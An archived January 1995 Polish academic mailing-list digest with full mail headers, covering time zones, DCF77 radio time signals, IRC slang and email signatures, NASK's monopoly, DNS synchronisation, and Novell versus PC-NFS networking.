Institute of Material Science and Technical Mechanics, Wroclaw, Poland > Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: > > > Tiaa... a do tego jeszcze to GMT.... Mi sie zawsze wydawalo, ze u nas to > > jest MET..., ale moze ja za lame jestem? :) > > --- > W naglowkach newsow podawany jest czas GMT, po to wlasnie zeby bylo > wiadomo KIEDY zostalo napisane i dotyczy to nawet tych z USA > W W Polsce jest czas MET (czas srodkowo europejski-Middle Europe Time), tzn. czas GMT "przyspieszony" o jedna godzine czyli GMT+1 godz, Wszytko wiec sie zgadza, podany jest czas GMT, ale rowniez czas lokalny u nadawcy (wlasciwie jego przesuniecie wzgledem GMT), tak jak ponizej : > Date sent: Tue, 17 Jan 95 16:00:22 +0100 Elek. ------------------------------------------------------------------- Eligiusz Pawlowski elekp@elektron.pol.lublin.pl POLITECHNIKA LUBELSKA Wydzial Elektryczny Katedra Metrologii Elektrycznej i Elektronicznej ul.Nadbystrzycka 38 A 20-618 LUBLIN tel.(48) (81) 55-10-51 wew.259,265 ------------------------------------------------------------------- From piskozub@ocean.iopan.gda.pl Wed Jan 18 11:01:46 1995 Received: from ocean.iopan.gda.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA07489; Wed, 18 Jan 95 10:59:24 +0100 Received: by ocean.iopan.gda.pl (5.65/25-eef) id AA13792; Wed, 18 Jan 95 11:00:19 +0100 Return-Path: From: Jacek Piskozub Message-Id: <9501181000.AA13792@ocean.iopan.gda.pl> Subject: Re: Brzydkie slowa (Bylo: Sygnatura Krzysia) To: polip@zsku.p.lodz.pl Date: Wed, 18 Jan 1995 11:00:18 +0100 (Poland) In-Reply-To: <3fimaq$hop@ghost.mimuw.edu.pl> from "Andrzej K. Brandt" at Jan 18, 95 10:36:18 am X-Mailer: ELM [version 2.4 PL21] Content-Type: text Content-Length: 687 UWAGA: To moj ostatni list w sprawie gwary IRC-owskiej. Nie zasluguje ona na dluzsze zaprzatanie sobie uwagi. Andrzej K. Brandt (andy@mimuw.edu.pl) pisal: > > Bardzo lamerskie - slowo lame nie wystepuje jedynie na IRC. > Nie, takze tam dokad przeplywaja zwyczaje [te najgorsze] stamtad zaczerpniete. I co ciekawe, wystepuje to glownie u osob, majacych ksywe IRC-owska w herbie (przepraszam: w "sigu"). W tej grupie to jednak chyba byl pierwszy (i drugi) raz. Prosze administratora o zwrocenie na ten problem uwagi. O tempora, o mores! Zalaczam pozdrowienia, dla wszystkich, ktorzy IRCuja ale cos na tym moralnie zyskali miast stracic :-) Jacek Piskozub piskozub@iopan.gda.pl From ELEKP@elektron.pol.lublin.pl Wed Jan 18 11:11:44 1995 Received: from apollo.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA07941; Wed, 18 Jan 95 11:07:04 +0100 Return-Path: Received: from elektron.pol.lublin.pl by apollo.umcs.lublin.pl with SMTP (1.38.193.4/16.2) id AA21156; Wed, 18 Jan 1995 11:08:00 +0100 Received: from ELEKTRON/MAILQUEUE by elektron.pol.lublin.pl (Mercury 1.13); Wed, 18 Jan 95 11:03:35 +0100 Received: from MAILQUEUE by ELEKTRON (Mercury 1.13); Wed, 18 Jan 95 11:03:27 +0100 From: "Eligiusz Pawlowski, LUBLIN." To: polip@zsku.p.lodz.pl Date: Wed, 18 Jan 1995 11:03:19 +0100 Subject: Re: Ustawianie czasu - nie na temat X-Pmrqc: 1 Priority: normal X-Mailer: Pegasus Mail v3.1 (R1a) Message-Id: <26E58D08ED@elektron.pol.lublin.pl> > From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) > > Niezwykle trafne spostrzezenie. Dlatego wlasnie nalezy pozwolic kazdemu miec > takiego sig'a, jakiego chce. W ten sposob w kazdym liscie kazdy podpisujac > sie nim nie tylko informuje nas o adresie e-mailowym (w tym przypadku > potencjalny nadawca e-maila moze miec problemy z wyborem) ale co-nieco o > sobie. > > 73 de Andy SP5WCA > Sa specjalisci, ktorzy na podstawie charakteru pisma, a w szczegolnosci na podstawie podpisu, ustalaja charakter czlowieka. Mysle, podobnie mozna potraktowac sig w e-mail'u, informacja jest zawarta nie tylko w tresci, ale rowniez w formie, w objetosci, w liczbie wierszy itd. Twoj sig swiadczy o tobie ! Pozwolmy kazdemu miec taki sig, na jaki ma ochote. W koncu jest to podpis pod listem. Krytykowac sposob podpisywania drugiej osoby to raczej nieuprzejmosc. I mysle, ze jest to dyskusja na temat, bo dotyczy bezposrednio sposobu korzystania z sieci, etyki pracujacych w Internecie. Elek. ------------------------------------------------------------------- Eligiusz Pawlowski elekp@elektron.pol.lublin.pl POLITECHNIKA LUBELSKA Wydzial Elektryczny Katedra Metrologii Elektrycznej i Elektronicznej ul.Nadbystrzycka 38 A 20-618 LUBLIN tel.(48) (81) 55-10-51 wew.259,265 ------------------------------------------------------------------- From krzysio@hebe.umcs.lublin.pl Wed Jan 18 11:26:45 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA09265; Wed, 18 Jan 95 11:25:52 +0100 Return-Path: Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id KAA09252 for polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 10:26:57 GMT From: Krzysztof Mlynarski Message-Id: <199501181026.KAA09252@hebe.umcs.lublin.pl> Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekom To: polip@zsku.p.lodz.pl Date: Wed, 18 Jan 1995 11:26:57 +0100 (MET) In-Reply-To: <15634521AB@inf.wsp.krakow.pl> from "Jaroslaw Rafa" at Jan 17, 95 08:29:51 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 1776 Jaroslaw Rafa wrote: > > > > : zrob finger @sam.nask.com.pl. > > > Zrobilem, i nie widze nic ciekawego/podejrzanego. > > Wiekszosc uzytkownikow tej maszyny, to uzytkownicy komercyjni nie majacy > > nic wspolnego z sieciami akademickimi. > No przeciez to .com.pl !!! To w takim razie chyba oczywiste. Jasne! Ale w tym samym adresie jest takze skrot NASK.... a to i Naukowe i Akademickie.. no nie??? A to juz razem jakos sie nie klei.... > > > I nadal najlepszym wyjsciem bylby drugi 'provider' ktory zdjal by z NASK > > > ciezar monopolu. > > > > Dokladnie! Najwyzszy czas, aby ktos mial prawo to zrobi i aby to jednak > > zrobil. Monopol tak czy owak zawsze tworzy bardzo niezdrowa sytuacje. > Sluchajcie! Co z tym cholernym EUnetem? Pytalem juz o to jakis czas temu. > Mniej wiecej rok temu reklamowali sie ze strasznym szumem jako konkurencja > dla NASK-u, a w ogole nie slysze, zeby cos podlaczali, zeby ktos mial u nich > konta itp... Wie ktos cos na ten temat? Rowniez podpisuje sie pod tym pytaniem. Nie widzielem nigdzie EUnet'u u nas poza tymi ogloszeniami, ktore swego czasu ganialy po listach dyskusyjnych. Pozdrawiam, -Krzysio -- +---------------------------------------------------------------+ | E-mail: =Unix/Network Security Expert= | | krzysio@hebe.umcs.lublin.pl IRC: Krzysio Radio: SQ5ASM | | root@hebe.umcs.lublin.pl Voice phone: +48-81-37-56-76 | | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +---------------------------------------------------------------+ From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 18 11:46:46 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA10368; Wed, 18 Jan 95 11:43:37 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id LAA29923 for polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 11:31:20 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 18 Jan 1995 10:22:46 GMT From: lis@asic.ict.pwr.wroc.pl (Jarek Lis) Message-Id: <3fiq5m$sf7@sun1000.ci.pwr.wroc.pl> Organization: Technical Univeristy of Wroclaw Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501172328.AA170138@acs5.acs.ucalgary.ca> Subject: Re: Palac Staszica - jaka siec lokalna wybrac? wowoc@acs.ucalgary.ca wrote: : Ten kto odradzal Novell-a przypuszczalnie mial na mysli : zastapienie pecetow przez Macintosh-e z serwerem na Sunie. : Ale SPARCstation 5 to taki tyciuski serwer... Hm.. Ostatnio postawilem Novela poto, zeby zintegrowac Mac'i z PCtami. Jarek. From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 18 13:26:47 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA12339; Wed, 18 Jan 95 13:23:41 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id NAA02215 for polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 13:11:30 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 18 Jan 1995 12:03:31 GMT From: lis@asic.ict.pwr.wroc.pl (Jarek Lis) Message-Id: <3fj02j$6i9@sun1000.ci.pwr.wroc.pl> Organization: Technical Univeristy of Wroclaw Sender: news.polip@cyber.ict.pwr.wroc.pl References: <2682FB5771@elektron.pol.lublin.pl> Subject: Re: Ustawianie czasu-odbiornik DCF77 Eligiusz Pawlowski, LUBLIN. (ELEKP@elektron.pol.lublin.pl) wrote: : Witam spragnionych dokladnego czasu! : Problem synchronizacji czasu poprzez siec, z servera czasu jest mi obcy. : Wiem natomiast, ze stosunkowo latwo mozna zsynchronizowac czas w dowolnym : komputerze (a wiec i w lokalnym serverze), z jednym z dokladniejszych zegarow : w europie. : Zegar znajduje sie w Niemczech, w Mainflingen i jest jednostka PTB. : PTB jest niemieckim odpowiednikiem CUJM (Centralny Urzad Jednostek i Miar). : Niemiecki zegar steruje nadajnik radiowy, pracujacy z czestotliwoscia 77,5kHz, : stad nazwa tego nadajnika DCF77. : ..... Hobbystow zachecam do wykonania. A pozostalym sugeruje zakup modulu do nawigacji satelitarnej. Wynikiem ubocznym jest b.dokladny czas. Jarek. From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 18 13:26:50 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA12342; Wed, 18 Jan 95 13:23:43 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id NAA02429 for polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 13:21:29 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 18 Jan 1995 11:29:02 GMT From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) Message-Id: <3fiu1u$kfl@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501181000.AA13792@ocean.iopan.gda.pl> Subject: Re: Brzydkie slowa (Bylo: Sygnatura Krzysia) Jacek Piskozub (piskozub@ocean.iopan.gda.pl) wrote: : UWAGA: To moj ostatni list w sprawie gwary IRC-owskiej. Nie zasluguje ona : na dluzsze zaprzatanie sobie uwagi. : Andrzej K. Brandt (andy@mimuw.edu.pl) pisal: : > : > Bardzo lamerskie - slowo lame nie wystepuje jedynie na IRC. : > : Nie, takze tam dokad przeplywaja zwyczaje [te najgorsze] stamtad zaczerpniete. : I co ciekawe, wystepuje to glownie u osob, majacych ksywe IRC-owska : w herbie (przepraszam: w "sigu"). To wszystko dowodzi wlasnie, ze Pan nie wie co to za slowo i skad sie wzielo. Nie kazde slowo, ktorego znaczenia i pochodzenia nie znamy jest slowem brzydkim. LAME! : W tej grupie to jednak chyba byl pierwszy (i drugi) raz. Prosze administratora : o zwrocenie na ten problem uwagi. Prosze administratora o nie wprowadzanie cenzury jezykowej wylacznie z powodu ignorancji mr. Piskozuba. -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From artur@panda.bg.univ.gda.pl Wed Jan 18 13:35:22 1995 Received: from panda.bg.univ.gda.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA12784; Wed, 18 Jan 95 13:32:59 +0100 Return-Path: Message-Id: <9501181232.AA12784@zsku.p.lodz.pl> Received: by panda.bg.univ.gda.pl (1.37.109.4/16.2) id AA06685; Wed, 18 Jan 95 13:34:48 +0100 From: Artur Angielski Subject: Re: Ustawianie czasu-odbiornik DCF77 To: polip@zsku.p.lodz.pl Date: Wed, 18 Jan 95 13:34:46 MET In-Reply-To: <2682FB5771@elektron.pol.lublin.pl>; from "Eligiusz Pawlowski, LUBLIN." at Jan 18, 95 10:55 am Mailer: Elm [revision: 70.85] Witajcie. > > Witam spragnionych dokladnego czasu! > Problem synchronizacji czasu poprzez siec, z servera czasu jest mi obcy. > Wiem natomiast, ze stosunkowo latwo mozna zsynchronizowac czas w dowolnym > komputerze (a wiec i w lokalnym serverze), z jednym z dokladniejszych zegarow > w europie. ] > Eligiusz Pawlowski elekp@elektron.pol.lublin.pl > Nie widzialem tego artykule w Elektronice Praktycznej, ale pamietam ze cos takiego bylo opisywane w Radioelktroniku. Jesli ktos chce to moge na zyczenie podac w ktorym numerze. Uklad jest bardzo prosty i tani - jak kazdy odbiornik na fale dlugie. Antena ferrytowa,kilka tranzystorkow itp. Jest tylko jeden problem - z tego co pamietam (o ile sie nie myle) nie sluzy on do zdekodowania pelnego czasu, a jedynie do BARDZO dokladnego odmierzania sekund, przydatne m. in. w mierni- kach czestotliwosci. Pozdrawiam Artur -- ############################################################################### # # # # # Artur Angielski # artur@panda.bg.univ.gda.pl # SP2QCA # # # tel. (0-58) 78-33-57 # # # # # # ############################################################################### From ELEKP@elektron.pol.lublin.pl Wed Jan 18 14:31:48 1995 Received: from apollo.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA15017; Wed, 18 Jan 95 14:26:48 +0100 Return-Path: Received: from elektron.pol.lublin.pl by apollo.umcs.lublin.pl with SMTP (1.38.193.4/16.2) id AA22433; Wed, 18 Jan 1995 14:27:45 +0100 Received: from ELEKTRON/MAILQUEUE by elektron.pol.lublin.pl (Mercury 1.13); Wed, 18 Jan 95 14:23:22 +0100 Received: from MAILQUEUE by ELEKTRON (Mercury 1.13); Wed, 18 Jan 95 14:22:54 +0100 From: "Eligiusz Pawlowski, LUBLIN." To: polip@zsku.p.lodz.pl Date: Wed, 18 Jan 1995 14:22:52 +0100 Subject: Re: Ustawianie czasu-odbiornik DCF77 X-Pmrqc: 1 Priority: normal X-Mailer: Pegasus Mail v3.1 (R1a) Message-Id: <2A38A8190B@elektron.pol.lublin.pl> > From: lis@asic.ict.pwr.wroc.pl (Jarek Lis) > > : Zegar znajduje sie w Niemczech, w Mainflingen i jest jednostka PTB. > : PTB jest niemieckim odpowiednikiem CUJM (Centralny Urzad Jednostek i Miar). > : Niemiecki zegar steruje nadajnik radiowy, pracujacy z czestotliwoscia 77,5kHz, > : stad nazwa tego nadajnika DCF77. > : ..... > > Hobbystow zachecam do wykonania. > A pozostalym sugeruje zakup modulu do nawigacji satelitarnej. Wynikiem > ubocznym jest b.dokladny czas. > > Jarek. Prostuje : DCF77 nie jest stworzona dla hobbystow. To jednostka rzadowa odpowiedzialna za utrzymanie czasu w Niemczech. Czas rozpowszechniany ta droga jest panstwowym (urzedowym) wzorcem czasu w Niemczech. Oczywiscie moze te sygnaly czasu odbierac kazdy (rowniez hobbisci). Elek. ------------------------------------------------------------------- Eligiusz Pawlowski elekp@elektron.pol.lublin.pl POLITECHNIKA LUBELSKA Wydzial Elektryczny Katedra Metrologii Elektrycznej i Elektronicznej ul.Nadbystrzycka 38 A 20-618 LUBLIN tel.(48) (81) 55-10-51 wew.259,265 ------------------------------------------------------------------- From ELEKP@elektron.pol.lublin.pl Wed Jan 18 14:41:48 1995 Received: from apollo.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA15660; Wed, 18 Jan 95 14:41:40 +0100 Return-Path: Received: from elektron.pol.lublin.pl by apollo.umcs.lublin.pl with SMTP (1.38.193.4/16.2) id AA22596; Wed, 18 Jan 1995 14:42:36 +0100 Received: from ELEKTRON/MAILQUEUE by elektron.pol.lublin.pl (Mercury 1.13); Wed, 18 Jan 95 14:38:13 +0100 Received: from MAILQUEUE by ELEKTRON (Mercury 1.13); Wed, 18 Jan 95 14:37:54 +0100 From: "Eligiusz Pawlowski, LUBLIN." To: polip@zsku.p.lodz.pl Date: Wed, 18 Jan 1995 14:37:53 +0100 Subject: Re: Ustawianie czasu-odbiornik DCF77 X-Pmrqc: 1 Priority: normal X-Mailer: Pegasus Mail v3.1 (R1a) Message-Id: <2A78AB7C8B@elektron.pol.lublin.pl> > From: Artur Angielski > > Nie widzialem tego artykule w Elektronice Praktycznej, ale pamietam ze cos > takiego bylo opisywane w Radioelktroniku. Jesli ktos chce to moge na zyczenie > podac w ktorym numerze. > Uklad jest bardzo prosty i tani - jak kazdy odbiornik na fale dlugie. > Antena ferrytowa,kilka tranzystorkow itp. Jest tylko jeden problem - z tego > co pamietam (o ile sie nie myle) nie sluzy on do zdekodowania pelnego czasu, > a jedynie do BARDZO dokladnego odmierzania sekund, przydatne m. in. w mierni- > kach czestotliwosci. > > > Pozdrawiam Artur > Sygnaly czasu sa nadawane impulsami co 1 sekunde, zapewniaja wiec co prawda synchronizacje z wysoka dokladnoscia, ale z rozdzielczoscia tylko 1 sekundy. Natomiast czestotliwosc nosna sygnalu 77.5 kHz jest stabilizowana cezowym wzorcem atomowym z dokladnoscia 10E-14 (mniej wiecej) i moze byc ona wykorzystywana rzeczywiscie w czestosciomierzu jako czestotliwosc wzorcowa. Jest to niezalezne od sygnalow czasu. Dokladnie nadajnik DCF77 ropzprowadza droga radiowa zarowno sygnaly czasu jak i sygnal czestotliwosci wzorcowej. Warto dodac,ze w Polsce sygnalem czestotliwosci wzorcowej jest czestotliwosc 225 kHz nadajnika pierwszego programu polskiego radia. Jest ona rowniez stabilizowana wzorcem atomowym. Odpowiednie komunikaty sa nadawane codziennie przed godz. 12:00 w I pr PR. Sygnal czasu jest nadawany tylko raz na dobe o godz 12:00, na podstawie sygnalow z Instytutu Lacznosci w Warszawie, ktory jest odpowiedzialny za utrzymanie czasu w Polsce. Sygnaly czasu nadawane na innych programach radiowych, w telewizji, w telegazecie itp. nie sa synchronizowane z urzedowym wzorcem czasu w Polsce. Na swiecie powszechne jest stosownie sygnalow telewizyjnych do rozpowszechniania sygnalow czasu. Zainteresowanych temat odsylam na poczatek do ksiazki : Kartashof: "Czestotliwosc i czas", wydanej przez PWN kilka lat temu (tlumaczenie z angielskiego),oraz: Dudziewicz: "Etalony i precyzyjne pomiary wielkosci elektrycznych". Elek. ------------------------------------------------------------------- Eligiusz Pawlowski elekp@elektron.pol.lublin.pl POLITECHNIKA LUBELSKA Wydzial Elektryczny Katedra Metrologii Elektrycznej i Elektronicznej ul.Nadbystrzycka 38 A 20-618 LUBLIN tel.(48) (81) 55-10-51 wew.259,265 ------------------------------------------------------------------- From RAJ@inf.wsp.krakow.pl Wed Jan 18 14:46:49 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA15741; Wed, 18 Jan 95 14:42:49 +0100 Return-Path: Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id OAA05598 for ; Wed, 18 Jan 1995 14:46:38 +0100 Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12); Wed, 18 Jan 95 14:40:09 GMT+0100 Received: from ~MAIL~ by INF (Mercury 1.12); Wed, 18 Jan 95 14:39:52 GMT+0100 From: "Jaroslaw Rafa" Organization: Zaklad Informatyki WSP, Krakow To: polip@zsku.p.lodz.pl Date: Wed, 18 Jan 1995 14:39:46 GMT+0100 Subject: Re: Ustawianie czasu-odbiornik DCF77 Priority: normal X-Mailer: Pegasus Mail v3.21 Message-Id: <104E6D7CC8@inf.wsp.krakow.pl> > Date sent: Wed, 18 Jan 95 11:00:28 +0100 > Send reply to: polip@zsku.p.lodz.pl > From: "Eligiusz Pawlowski, LUBLIN." > To: sfrafa@cyf-kr.edu.pl > Subject: Re: Ustawianie czasu-odbiornik DCF77 > Zegar znajduje sie w Niemczech, w Mainflingen i jest jednostka PTB. > PTB jest niemieckim odpowiednikiem CUJM (Centralny Urzad Jednostek i Miar). > Niemiecki zegar steruje nadajnik radiowy, pracujacy z czestotliwoscia 77,5kHz, > stad nazwa tego nadajnika DCF77. > Sygnal czasu mozna odbierac praktycznie na calym obszarze Polski, potrzebny > jest odpowiedni odbiornik i program. Czy ktos wie, jak wyglada aktualnie sytuacja z wzorcem czasu w Polsce? Do upadku masztu w Gabinie czestotliwosc jego nadajnika byla polskim wzorcem czasu. W ktoryms ze starych numerow Radioelektronika (juz od bardzo dawna tego nie czytam) tez opisywano odbiornik sluzacy do synchronizacji czasu z nadajnikiem w Gabinie wlasnie. Czy ktos wie jak jest teraz? Pozdrowienia, Jaroslaw Rafa sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 18 14:46:56 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA15782; Wed, 18 Jan 95 14:43:36 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA03723 for polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 14:30:58 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: Wed, 18 Jan 1995 13:23:34 GMT From: solarz@ibspan.waw.pl (Bartlomiej Solarz) Message-Id: Organization: Instytut Badan Systemowych Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501171613.AA04342@kme.agh.edu.pl> Subject: Re: Palac Staszica - jaka siec lokalna wybrac? >Jaroslaw Rafa pisze: >> >> > Sadze, ze bedzie duze zapotrzebowanie na poczte Internetowa, mniejsze >> > na telnet i ftp. Bardzo odradzano mi Novella jako trudnego >> > do pogodzenia z jakimkolwiek oprogramowaniem. >> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ >> > Bede wdzieczny za wszelkie rady. >> > >> ???????????? >Podzielam zdziwienie. Acz musze przyznac, ze jeszcze do niedawna bylem >sceptycznie nastawiony do tego systemu. Jednak zrozumialem juz, >ze w wiekszosci przypadkow alternatywy brak :-) Alternatywa jest: PC-NFS by SUN Microsystems. Tylko na skutek masy bledow i zle napisanego shella na PC (po uruchomieniu na 386 zostaje 520KB RAM-u konwencjonalnego (oczywiscie z wykorzystaniem UMB))!!!, obsluga drukarek przylaczonych do innych lokalnych PC jest tylko teoretycznie mozliwa w trybie non-dedicated po uruchomieniu zostaje ci 380KB!!!!, po za tym wiekszosc oprogramowania powstajacego aktualnie robi psikusy (co najmniej!) w trakcie instalacji. I najwazniejszy byk na skutek specyficznej obslugi NFS przez SUN 4.1.3 i inne UNIX-y np. HP-UX 7.0, 8.0 nie ma buforowania dysku w trakcie zapisu. (W trakcie odczytu jest!), Mam CUS takiego i pracuje, ale z checia zmienil bym to na NOVELL-a 4.01. Po za bledami powyzej to swinstwo kosztuje po uwzglednieniu znizek 700$ (od komputera!)!!!! Z powazaniem From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 18 15:05:24 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA17167; Wed, 18 Jan 95 15:03:37 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA04524 for polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 14:59:14 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 18 Jan 1995 13:58:07 GMT From: myszka@immt.pwr.wroc.pl (Wojciech Myszka) Message-Id: <3fj6pf$d7j@sun1000.ci.pwr.wroc.pl> Organization: Institute of Material Science and Technical Mechanics, Wroclaw, Poland Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501181018.aa10356@wega.ics.tup.edu.pl> Subject: Re: jak to jest z tym naszym DNS? Tomasz Kokowski (kokowski@CS.PUT.Poznan.PL) pisal: > Synchronizacja szwankuje. Serial numbers i te rzeczy sie klaniaja. > Przerabiamy to w Poznaniu na co dzien. --- polecam lekture rfc1713 i narzedzia do testowania tam wymienione (prawie) wszystko dostepne w: ftp://ftp.immt.pwr.wroc.pl/pub/nettools/ Wojtek From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 18 15:05:29 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA17172; Wed, 18 Jan 95 15:03:39 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA04523 for polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 14:59:14 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 18 Jan 1995 13:54:28 GMT From: myszka@immt.pwr.wroc.pl (Wojciech Myszka) Message-Id: <3fj6ik$ct7@sun1000.ci.pwr.wroc.pl> Organization: Institute of Material Science and Technical Mechanics, Wroclaw, Poland Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501171613.AA04342@kme.agh.edu.pl>, Subject: Re: Palac Staszica - jaka siec lokalna wybrac? Bartlomiej Solarz (solarz@ibspan.waw.pl) pisal (miedzy innymi): [...] > Po za bledami powyzej to swinstwo kosztuje po uwzglednieniu znizek 700$ (od > komputera!)!!!! --- jest tez klient nfs (dos) calkiem tani (PD/shareware), inne implementacje (moze niezbyt doskonale) sa znacznie tansze... Wojtek From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 18 15:05:30 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA17177; Wed, 18 Jan 95 15:03:41 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA04522 for polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 14:59:12 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 18 Jan 1995 13:51:27 GMT From: myszka@immt.pwr.wroc.pl (Wojciech Myszka) Message-Id: <3fj6cv$ct7@sun1000.ci.pwr.wroc.pl> Organization: Institute of Material Science and Technical Mechanics, Wroclaw, Poland Sender: news.polip@cyber.ict.pwr.wroc.pl References: <2A78AB7C8B@elektron.pol.lublin.pl> Subject: Re: Ustawianie czasu-odbiornik DCF77 Eligiusz Pawlowski, LUBLIN. (ELEKP@elektron.pol.lublin.pl) pisal, miedzy innymi: [...] > Sygnaly czasu nadawane na innych programach radiowych, w telewizji, w > telegazecie itp. nie sa synchronizowane z urzedowym wzorcem czasu w Polsce. --- Natomiast, z moich obserwacji (i anonsow w samej telegazecie) wynika, ze czas telegazety jest bardzo dokladny. Wojtek From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 18 15:26:49 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA18623; Wed, 18 Jan 95 15:23:35 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA04980 for polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 15:21:46 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 18 Jan 1995 13:51:39 GMT From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) Message-Id: <3fj6db$qb5@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501171613.AA04342@kme.agh.edu.pl> Subject: Re: Palac Staszica - jaka siec lokalna wybrac? Grzegorz Krawczyk (krawczyk@kme.agh.edu.pl) wrote: : Rozwiazaniem jest ethernet w warstwie fizycznej novell jako sieciowy : system operacyjny, a w przyszlosci jesli zajdzie taka potrzeba : inny system o ktory by mozna oprzec baze danych. Uwaga na marginesie - jak slyszalem istnieje produkt Novell'a do instalowania na serverze NetWare, ktory powoduje ze jego dyski staja sie dostepne przez NFS. Tak wiec w przyszlosci dolaczanie Unixow moglo by byc mniej bolesne niz sie wydaje. -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 18 15:26:55 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA18650; Wed, 18 Jan 95 15:23:55 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA04979 for 